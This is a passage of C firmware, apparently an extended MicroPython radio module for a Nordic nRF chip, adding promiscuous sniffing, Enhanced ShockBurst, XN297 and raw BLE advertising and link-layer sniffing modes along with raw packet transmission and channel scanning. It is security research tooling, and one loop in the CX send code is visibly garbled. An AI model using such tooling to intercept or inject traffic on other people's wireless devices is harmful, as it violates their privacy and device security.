NRF_RADIO->PCNF0 = (0 << RADIO_PCNF0_S0LEN_Pos) | (0 << RADIO_PCNF0_LFLEN_Pos) | (0 << RADIO_PCNF0_S1LEN_Pos); NRF_RADIO->PCNF1 = (RADIO_PCNF1_WHITEEN_Disabled << RADIO_PCNF1_WHITEEN_Pos) | (RADIO_PCNF1_ENDIAN_Big << RADIO_PCNF1_ENDIAN_Pos) | ((4) << RADIO_PCNF1_BALEN_Pos) | (radio_state.max_payload << RADIO_PCNF1_STATLEN_Pos) | (radio_state.max_payload << RADIO_PCNF1_MAXLEN_Pos); //NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two; NRF_RADIO->CRCCNF = 0x0; NRF_RADIO->CRCINIT = 0xFFFF; NRF_RADIO->CRCPOLY = 0x11021; NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0 NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0 // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); NRF_RADIO->SHORTS = 0; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } static void radio_enable_cx(void) { radio_disable(); /* Force payload size. */ radio_state.max_payload = 29; /* Force address (XN297) */ radio_state.base0 = 0x2f7d8726; radio_state.prefix0 = 0x49; /* Enable SB */ radio_enable_sb(); /* Consider this mode as MODE_CX. */ radio_state.mode = MODE_CX; } /** * Raw BLE mode * * This mode allows BLE advertisement and connection request sniffing (at the moment), * but provides the data as-is without any processing. */ void radio_enable_ble(void) { radio_disable(); // Sniff mode on radio_state.mode = MODE_BLE; // allocate tx and rx buffers size_t max_payload = 45; // an extra byte to store the length + timestamp + channel size_t queue_len = radio_state.queue_len; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel); NRF_RADIO->DATAWHITEIV = radio_state.channel; // configure default data rate NRF_RADIO->MODE = RADIO_MODE_MODE_Ble_1Mbit; radio_state.data_rate = RADIO_MODE_MODE_Ble_1Mbit; /* Set default access address used on advertisement channels. */ NRF_RADIO->PREFIX0 = 0x8e; radio_state.prefix0 = 0x8e; NRF_RADIO->BASE0 = 0x89bed600; radio_state.base0 = 0x89bed600; NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0 NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0 NRF_RADIO->PCNF0 = ( (((1UL) << RADIO_PCNF0_S0LEN_Pos) & RADIO_PCNF0_S0LEN_Msk) | /* Length of S0 field in bytes 0-1. */ (((2UL) << RADIO_PCNF0_S1LEN_Pos) & RADIO_PCNF0_S1LEN_Msk) | /* Length of S1 field in bits 0-8. */ (((6UL) << RADIO_PCNF0_LFLEN_Pos) & RADIO_PCNF0_LFLEN_Msk) /* Length of length field in bits 0-8. */ ); /* Packet configuration */ NRF_RADIO->PCNF1 = ( (((37UL) << RADIO_PCNF1_MAXLEN_Pos) & RADIO_PCNF1_MAXLEN_Msk) | /* Maximum length of payload in bytes [0-255] */ (((0UL) << RADIO_PCNF1_STATLEN_Pos) & RADIO_PCNF1_STATLEN_Msk) | /* Expand the payload with N bytes in addition to LENGTH [0-255] */ (((3UL) << RADIO_PCNF1_BALEN_Pos) & RADIO_PCNF1_BALEN_Msk) | /* Base address length in number of bytes. */ (((RADIO_PCNF1_ENDIAN_Little) << RADIO_PCNF1_ENDIAN_Pos) & RADIO_PCNF1_ENDIAN_Msk) | /* Endianess of the S0, LENGTH, S1 and PAYLOAD fields. */ (((1UL) << RADIO_PCNF1_WHITEEN_Pos) & RADIO_PCNF1_WHITEEN_Msk) /* Enable packet whitening */ ); /* CRC config */ NRF_RADIO->CRCCNF = (RADIO_CRCCNF_LEN_Three << RADIO_CRCCNF_LEN_Pos) | (RADIO_CRCCNF_SKIPADDR_Skip << RADIO_CRCCNF_SKIPADDR_Pos); /* Skip Address when computing CRC */ NRF_RADIO->CRCINIT = 0x555555; /* Initial value of CRC */ NRF_RADIO->CRCPOLY = 0x00065B; /* CRC polynomial function */ NRF_RADIO->TIFS = 145; // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); /* Clear events */ NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->SHORTS = 0; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } /** * Raw BLE Link Layer mode * * This mode allows BLE link layer sniffing, but does not handle CRC natively. * However, chance of a false positive on a 4-byte Access Address is low, so we * may manage to check CRC manually. * but provides the data as-is without any processing. */ void radio_enable_ble_ll(void) { radio_disable(); // Sniff mode on radio_state.mode = MODE_BLE_LL; // allocate tx and rx buffers size_t max_payload = 45; // an extra byte to store the length + timestamp + channel size_t queue_len = radio_state.queue_len + 1; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel); NRF_RADIO->DATAWHITEIV = radio_state.channel; // configure default data rate NRF_RADIO->MODE = RADIO_MODE_MODE_Ble_1Mbit; radio_state.data_rate = RADIO_MODE_MODE_Ble_1Mbit; /* Set access address, onnly the _address_ parameter is used for simplicity. */ NRF_RADIO->PREFIX0 = (radio_state.base0 & 0xff000000)>>24; NRF_RADIO->BASE0 = (radio_state.base0 & 0x00ffffff); NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0 NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0 /* No extra fields, address is directly followed by our data. */ NRF_RADIO->PCNF0 = ( (((0UL) << RADIO_PCNF0_S0LEN_Pos) & RADIO_PCNF0_S0LEN_Msk) | /* Length of S0 field in bytes 0-1. */ (((0UL) << RADIO_PCNF0_S1LEN_Pos) & RADIO_PCNF0_S1LEN_Msk) | /* Length of S1 field in bits 0-8. */ (((0UL) << RADIO_PCNF0_LFLEN_Pos) & RADIO_PCNF0_LFLEN_Msk) /* Length of length field in bits 0-8. */ ); /* Packet configuration */ NRF_RADIO->PCNF1 = ( (((37UL) << RADIO_PCNF1_MAXLEN_Pos) & RADIO_PCNF1_MAXLEN_Msk) | /* Maximum length of payload in bytes [0-255] */ (((0UL) << RADIO_PCNF1_STATLEN_Pos) & RADIO_PCNF1_STATLEN_Msk) | /* Expand the payload with N bytes in addition to LENGTH [0-255] */ (((3UL) << RADIO_PCNF1_BALEN_Pos) & RADIO_PCNF1_BALEN_Msk) | /* Base address length in number of bytes. */ (((RADIO_PCNF1_ENDIAN_Little) << RADIO_PCNF1_ENDIAN_Pos) & RADIO_PCNF1_ENDIAN_Msk) | /* Endianess of the S0, LENGTH, S1 and PAYLOAD fields. */ (((1UL) << RADIO_PCNF1_WHITEEN_Pos) & RADIO_PCNF1_WHITEEN_Msk) /* Enable packet whitening */ ); /* CRC disabled. */ NRF_RADIO->CRCCNF = 0x0; /* NRF_RADIO->CRCCNF = (RADIO_CRCCNF_LEN_Three << RADIO_CRCCNF_LEN_Pos) | (RADIO_CRCCNF_SKIPADDR_Skip << RADIO_CRCCNF_SKIPADDR_Pos); */ NRF_RADIO->CRCINIT = 0x555555; /* Initial value of CRC */ NRF_RADIO->CRCPOLY = 0x00065B; /* CRC polynomial function */ NRF_RADIO->TIFS = 145; // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); /* Clear events */ NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->SHORTS = 0; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } void radio_send(const void *buf, size_t len, const void *buf2, size_t len2) { ensure_enabled(); /* Not available in sniffing and BLE mode. */ if (radio_state.mode == MODE_SNIFF) return; if (radio_state.mode == MODE_DEFAULT) { // construct the packet // note: we must send from RAM size_t max_len = NRF_RADIO->PCNF1 & 0xff; if (len + len2 > max_len) { if (len > max_len) { len = max_len; len2 = 0; } else { len2 = max_len - len; } } MP_STATE_PORT(radio_buf)[0] = len + len2; memcpy(MP_STATE_PORT(radio_buf) + 1, buf, len); if (len2 != 0) { memcpy(MP_STATE_PORT(radio_buf) + 1 + len, buf2, len2); } } else if (radio_state.mode == MODE_ESB) { if (len > 254) len = 254; /* Write header (size + PID/ACK). */ MP_STATE_PORT(radio_buf)[0] = len; MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1)|1; /* NO ACK required. */ radio_state.pid = (radio_state.pid + 1)%4; /* Increment PID. */ /* Copy payload into memory. */ memcpy(MP_STATE_PORT(radio_buf)+2, buf, len); } else if (radio_state.mode == MODE_SB) { /* Copy payload into memory, no header. */ memcpy(MP_STATE_PORT(radio_buf), buf, radio_state.max_payload); } else if (radio_state.mode == MODE_CX) { /* Write XN297 preamble. */ MP_STATE_PORT(radio_buf)[0] = 0x71; MP_STATE_PORT(radio_buf)[1] = 0x0F; MP_STATE_PORT(radio_buf)[2] = 0x55; /* Write target address (always 0x2f, 0x7d, 0x87, 0x26, 0x49) */ MP_STATE_PORT(radio_buf)[3] = 0x2f; MP_STATE_PORT(radio_buf)[4] = 0x7d; MP_STATE_PORT(radio_buf)[5] = 0x87; MP_STATE_PORT(radio_buf)[6] = 0x26; MP_STATE_PORT(radio_buf)[7] = 0x49; /* Perform scrambling. */ for (uint8_t i=0; i>8; MP_STATE_PORT(radio_buf)[8 + len + 1 ] = crc & 0xff; } else if (radio_state.mode == MODE_BLE) { /* Reset rx_buffer (test) */ //rx_buf = MP_STATE_PORT(radio_buf) + 45; /* Write header (PDU type, TxAdd, RxAdd) + length + S1 (0x00). */ MP_STATE_PORT(radio_buf)[0] = ((unsigned char *)buf)[0]; MP_STATE_PORT(radio_buf)[1] = len-1; MP_STATE_PORT(radio_buf)[2] = 0; /* Copy payload into memory. */ memcpy(MP_STATE_PORT(radio_buf)+3, (void *)((unsigned char*)buf + 1), len-1); } // transmission will occur synchronously NVIC_DisableIRQ(RADIO_IRQn); // Turn off the transceiver. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // Configure the radio to send the buffer provided. NRF_RADIO->PACKETPTR = (uint32_t)MP_STATE_PORT(radio_buf); // Turn on the transmitter, and wait for it to signal that it's ready to use. NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_TXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); // Start transmission and wait for end of packet. NRF_RADIO->TASKS_START = 1; NRF_RADIO->EVENTS_END = 0; while (NRF_RADIO->EVENTS_END == 0); // Return the radio to using the default receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // Turn off the transmitter. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // Start listening for the next packet NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); } /** * radio_ping() * * Sends a packet to the TX address and wait for an ACK. **/ int radio_ping() { int ack_received = 0; ensure_enabled(); /* Only available in ESB mode. */ if (radio_state.mode != MODE_ESB) return false; /* Build an ESB DPL packet. */ MP_STATE_PORT(radio_buf)[0] = 4; /* If len2 != 0, then requires an ack packet (used for ping). */ MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1); /* ACK required */ /* Copy payload to RAM. */ memcpy(MP_STATE_PORT(radio_buf)+2, ping_pkt, 4); /* Increment PID. */ radio_state.pid = (radio_state.pid + 1)%4; // transmission will occur synchronously NVIC_DisableIRQ(RADIO_IRQn); /* Configure shorts. */ NRF_RADIO->SHORTS = 0; // Turn off the transceiver. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // Turn on the transmitter, and wait for it to signal that it's ready to use. NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_TXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); // Start transmission and wait for end of packet. NRF_RADIO->TASKS_START = 1; NRF_RADIO->EVENTS_END = 0; while (NRF_RADIO->EVENTS_END == 0); // Return the radio to using the default receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // Turn off the transmitter. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // Start listening for the next packet (expecting an ACK) NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; /* Wait a bit for an ACK ... (only once) */ nrf_delay_us(250); /* Check if we got a valid packet. */ if(NRF_RADIO->EVENTS_END && NRF_RADIO->CRCSTATUS != 0) { /* Ack received \o/ ! */ ack_received = 1; } /* Cleaning and resuming IRQ handler. */ NRF_RADIO->SHORTS = 0; NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); return ack_received; } /** * radio_ping() * * Finds the channel the current address is listening on. **/ int radio_find() { int ack_received = 0; ensure_enabled(); /* Only available in ESB mode. */ if (radio_state.mode != MODE_ESB) return false; // transmission will occur synchronously NVIC_DisableIRQ(RADIO_IRQn); /* Configure shorts. */ NRF_RADIO->SHORTS = 0; // Turn off the transceiver. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); for (int channel=1; channel <= 100; channel++) { /* Build an ESB DPL packet. */ MP_STATE_PORT(radio_buf)[0] = 4; /* If len2 != 0, then requires an ack packet (used for ping). */ MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1); /* ACK required */ /* Copy payload to RAM. */ memcpy(MP_STATE_PORT(radio_buf)+2, ping_pkt, 4); /* Increment PID. */ radio_state.pid = (radio_state.pid + 1)%4; /* Tune to the correct channel. */ radio_state.channel = channel; NRF_RADIO->FREQUENCY = radio_state.channel; // Turn on the transmitter, and wait for it to signal that it's ready to use. NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_TXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); // Start transmission and wait for end of packet. NRF_RADIO->TASKS_START = 1; NRF_RADIO->EVENTS_END = 0; while (NRF_RADIO->EVENTS_END == 0); // Return the radio to using the default receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // Turn off the transmitter. NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // Start listening for the next packet (expecting an ACK) NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; /* Wait a bit for an ACK ... (only once) */ nrf_delay_us(250); /* Check if we got a valid packet. */ if(NRF_RADIO->EVENTS_END && NRF_RADIO->CRCSTATUS != 0) { /* Ack received \o/ ! */ ack_received = 1; break; } } /* Cleaning and resuming IRQ handler. */ NRF_RADIO->SHORTS = 0; NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); /* Send result. */ if (ack_received == 1) return radio_state.channel; else return -1; } static mp_obj_t radio_receive(bool typed_packet) { uint8_t *buf = NULL; size_t len = 0; mp_obj_t ret = mp_const_none; ensure_enabled(); // disable the radio irq while we receive the packet NVIC_DisableIRQ(RADIO_IRQn); switch(radio_state.mode) { case MODE_DEFAULT: { // get the pointer to the next packet buf = MP_STATE_PORT(radio_buf) + (NRF_RADIO->PCNF1 & 0xff) + 1; // skip tx buf // return None if there are no packets waiting if (rx_buf == buf) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } // Get packet len and create the Python object len = buf[0]; if (!typed_packet) { ret = mp_obj_new_bytes(buf + 1, len); // if it raises the radio irq remains disabled... } else if (len >= 3 && buf[1] == 1 && buf[2] == 0 && buf[3] == 1) { ret = mp_obj_new_str((char*)buf + 4, len - 3, false); // if it raises the radio irq remains disabled... } else { NVIC_EnableIRQ(RADIO_IRQn); nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, "received packet is not a string")); } // copy the rest of the packets down and restart the radio memmove(buf, buf + 1 + len, rx_buf - (buf + 1 + len)); rx_buf -= 1 + len; } break; case MODE_ESB: { buf = MP_STATE_PORT(radio_buf) + 34; // skip tx buf // return None if there are no packets waiting if (rx_buf == buf) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } // Get packet len and PID len = buf[0]; /* Don't care about acks for now :) */ ret = mp_obj_new_bytes((const unsigned char *)buf+2, len); // copy the rest of the packets down and restart the radio memmove(buf, buf + 2 + len, rx_buf - (buf + 2 + len)); rx_buf -= (2 + len); } break; case MODE_CX: case MODE_SB: { buf = MP_STATE_PORT(radio_buf) + radio_state.max_payload; // skip tx buf // return None if there are no packets waiting if (rx_buf == buf) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } // Get packet len and PID len = radio_state.max_payload; /* Don't care about acks for now :) */ ret = mp_obj_new_bytes((const unsigned char *)buf, len); // copy the rest of the packets down and restart the radio memmove(buf, buf + len, rx_buf - (buf + len)); rx_buf -= (len); } break; case MODE_BLE: { buf = MP_STATE_PORT(radio_buf) + 45; // skip tx buf // return None if there are no packets waiting if (rx_buf == buf) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } // Get packet len (2 + packet size + 5 bytes header) len = buf[6] + 8; ret = mp_obj_new_bytes((const unsigned char *)buf, len); // copy the rest of the packets down and restart the radio memmove(buf, buf + len, rx_buf - (buf + len)); rx_buf -= len; } break; case MODE_SNIFF: { } break; } NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; NVIC_EnableIRQ(RADIO_IRQn); return ret; } static mp_obj_t radio_sniff(void) { ensure_enabled(); // disable the radio irq while we receive the packet NVIC_DisableIRQ(RADIO_IRQn); // get the pointer to the next packet uint8_t *buf = MP_STATE_PORT(radio_buf) + (NRF_RADIO->PCNF1 & 0xff) ; // skip tx buf // must wait (writing in progress ?) if (esb_ready == 0) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } // return None if there are no packets waiting if (rx_buf == buf) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } /* Wrong packet format */ if ((buf[0] & 0xC0) != 0xC0) { NVIC_EnableIRQ(RADIO_IRQn); return mp_const_none; } size_t len = buf[0]&0x3F; if (len > 32) len = 32; mp_obj_t ret; ret = mp_obj_new_bytes(&buf[1], len + 5); // if it raises the radio irq remains disabled... // copy the rest of the packets down and restart the radio memmove(buf, buf + radio_state.max_payload, rx_buf - (buf + radio_state.max_payload)); rx_buf -= radio_state.max_payload; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; NVIC_EnableIRQ(RADIO_IRQn); return ret; } /*****************************************************************************/ // MicroPython bindings and module STATIC mp_obj_t mod_radio_reset(void) { radio_state.mode = RADIO_DEFAULT_MODE; radio_state.max_payload = RADIO_DEFAULT_MAX_PAYLOAD; radio_state.queue_len = RADIO_DEFAULT_QUEUE_LEN; radio_state.channel = RADIO_DEFAULT_CHANNEL; radio_state.power_dbm = RADIO_DEFAULT_POWER_DBM; radio_state.base0 = RADIO_DEFAULT_BASE0; radio_state.prefix0 = RADIO_DEFAULT_PREFIX0; radio_state.data_rate = RADIO_DEFAULT_DATA_RATE; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_reset_obj, mod_radio_reset); STATIC mp_obj_t mod_radio_config(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { (void)pos_args; // unused if (n_args != 0) { nlr_raise(mp_obj_new_exception_msg(&mp_type_TypeError, "arguments must be keyword arguments")); } // make a copy of the radio state so we don't change anything if there are value errors radio_state_t new_state = radio_state; qstr arg_name = MP_QSTR_; for (size_t i = 0; i < kw_args->alloc; ++i) { if (MP_MAP_SLOT_IS_FILLED(kw_args, i)) { mp_int_t value = mp_obj_get_int_truncated(kw_args->table[i].value); arg_name = mp_obj_str_get_qstr(kw_args->table[i].key); switch (arg_name) { case MP_QSTR_length: if (!(1 <= value && value <= 251)) { goto value_error; } new_state.max_payload = value; break; case MP_QSTR_queue: if (!(1 <= value && value <= 254)) { goto value_error; } new_state.queue_len = value; break; case MP_QSTR_channel: if (!(0 <= value && value <= 100)) { goto value_error; } new_state.channel = value; break; case MP_QSTR_power: { if (!(0 <= value && value <= 7)) { goto value_error; } static int8_t power_dbm_table[8] = {-30, -20, -16, -12, -8, -4, 0, 4}; new_state.power_dbm = power_dbm_table[value]; break; } case MP_QSTR_data_rate: if (!(value == RADIO_MODE_MODE_Nrf_250Kbit || value == RADIO_MODE_MODE_Nrf_1Mbit || value == RADIO_MODE_MODE_Nrf_2Mbit || value == RADIO_MODE_MODE_Ble_1Mbit)) { goto value_error; } new_state.data_rate = value; break; case MP_QSTR_address: new_state.base0 = value; break; case MP_QSTR_group: if (!(0 <= value && value <= 255)) { goto value_error; } new_state.prefix0 = value; break; case MP_QSTR_raw: if (!(value == 0 || value == 1)) { goto value_error; } new_state.sniff_raw = value; break; default: nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unknown argument '%q'", arg_name)); break; } } } // reconfigure the radio with the new state if (MP_STATE_PORT(radio_buf) == NULL) { // radio disabled, just copy state radio_state = new_state; } else { // radio eabled if (new_state.max_payload != radio_state.max_payload || new_state.queue_len != radio_state.queue_len) { // tx/rx buffer size changed which requires reallocating the buffers radio_disable(); radio_state = new_state; radio_enable(); } else { // only registers changed so make the changes go through efficiently // disable radio NVIC_DisableIRQ(RADIO_IRQn); NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // change state radio_state = new_state; NRF_RADIO->TXPOWER = radio_state.power_dbm; if (radio_state.mode != MODE_BLE) { NRF_RADIO->FREQUENCY = radio_state.channel; NRF_RADIO->MODE = radio_state.data_rate; } else { /* BLE only, switch channel and update whitening IV. */ NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel); NRF_RADIO->DATAWHITEIV = radio_state.channel; } /* Update BASE0 and PREFIX0 if required, except when sniffing. */ if ((radio_state.mode == MODE_DEFAULT) || (radio_state.mode == MODE_BLE)) { NRF_RADIO->BASE0 = radio_state.base0; NRF_RADIO->PREFIX0 = radio_state.prefix0; } else if (radio_state.mode == MODE_SNIFF){ /* Specific values used for sniffing. */ NRF_RADIO->BASE0 = 0x00000000; NRF_RADIO->PREFIX0 = 0x55; } else { /* Used in ESB and SB mode .*/ NRF_RADIO->BASE0 = bytewise_bit_swap( (radio_state.base0 & 0x000000ff)<<24 | (radio_state.base0 & 0xff000000)>>24 | (radio_state.base0 & 0x0000ff00)<< 8 | (radio_state.base0 & 0x00ff0000)>> 8 ); NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0); } // need to set RXEN for FREQUENCY decision point NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); // need to set START for BASE0 and PREFIX0 decision point NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); } } return mp_const_none; value_error: nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "value out of range for argument '%q'", arg_name)); } MP_DEFINE_CONST_FUN_OBJ_KW(mod_radio_config_obj, 0, mod_radio_config); STATIC mp_obj_t mod_radio_on(void) { radio_enable(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_on_obj, mod_radio_on); STATIC mp_obj_t mod_radio_sniff_on(void) { radio_enable_sniff(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sniff_on_obj, mod_radio_sniff_on); STATIC mp_obj_t mod_radio_esb(void) { radio_enable_esb(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_esb_obj, mod_radio_esb); STATIC mp_obj_t mod_radio_sb(void) { radio_enable_sb(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sb_obj, mod_radio_sb); STATIC mp_obj_t mod_radio_cx(void) { radio_enable_cx(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_cx_obj, mod_radio_cx); STATIC mp_obj_t mod_radio_ble(void) { radio_enable_ble(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_ble_obj, mod_radio_ble); STATIC mp_obj_t mod_radio_off(void) { radio_disable(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_off_obj, mod_radio_off); STATIC mp_obj_t mod_radio_send_bytes(mp_obj_t buf_in) { mp_buffer_info_t bufinfo; mp_get_buffer_raise(buf_in, &bufinfo, MP_BUFFER_READ); radio_send(bufinfo.buf, bufinfo.len, NULL, 0); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mod_radio_send_bytes_obj, mod_radio_send_bytes); STATIC mp_obj_t mod_radio_ping(void) { if (radio_ping()) return mp_const_true; return mp_const_false; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_ping_obj, mod_radio_ping); STATIC mp_obj_t mod_radio_find(void) { int result; result = radio_find(); if (result < 0) return mp_const_false; else return mp_const_true; } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_find_obj, mod_radio_find); STATIC mp_obj_t mod_radio_receive_bytes(void) { return radio_receive(false); } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_receive_bytes_obj, mod_radio_receive_bytes); STATIC mp_obj_t mod_radio_send(mp_obj_t buf_in) { mp_uint_t len; /* Switch to send_bytes if ESB mode is enabled. */ if ((radio_state.mode == MODE_ESB) || (radio_state.mode == MODE_SB) || (radio_state.mode == MODE_CX) || (radio_state.mode == MODE_BLE)) { const char *data = mp_obj_str_get_data(buf_in, &len); radio_send(data, len, NULL, 0); } else { const char *data = mp_obj_str_get_data(buf_in, &len); radio_send("\x01\x00\x01", 3, data, len); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mod_radio_send_obj, mod_radio_send); STATIC mp_obj_t mod_radio_receive(void) { if ((radio_state.mode == MODE_ESB) || (radio_state.mode == MODE_SB) || (radio_state.mode == MODE_CX) || (radio_state.mode == MODE_BLE)) return radio_receive(false); else if (radio_state.mode == MODE_DEFAULT) return radio_receive(true); else return radio_sniff(); } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_receive_obj, mod_radio_receive); STATIC mp_obj_t mod_radio_sniff(void) { return radio_sniff(); } MP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sniff_obj, mod_radio_sniff); STATIC const mp_map_elem_t radio_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_radio) }, { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&mod_radio_reset_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)&mod_radio_reset_obj }, { 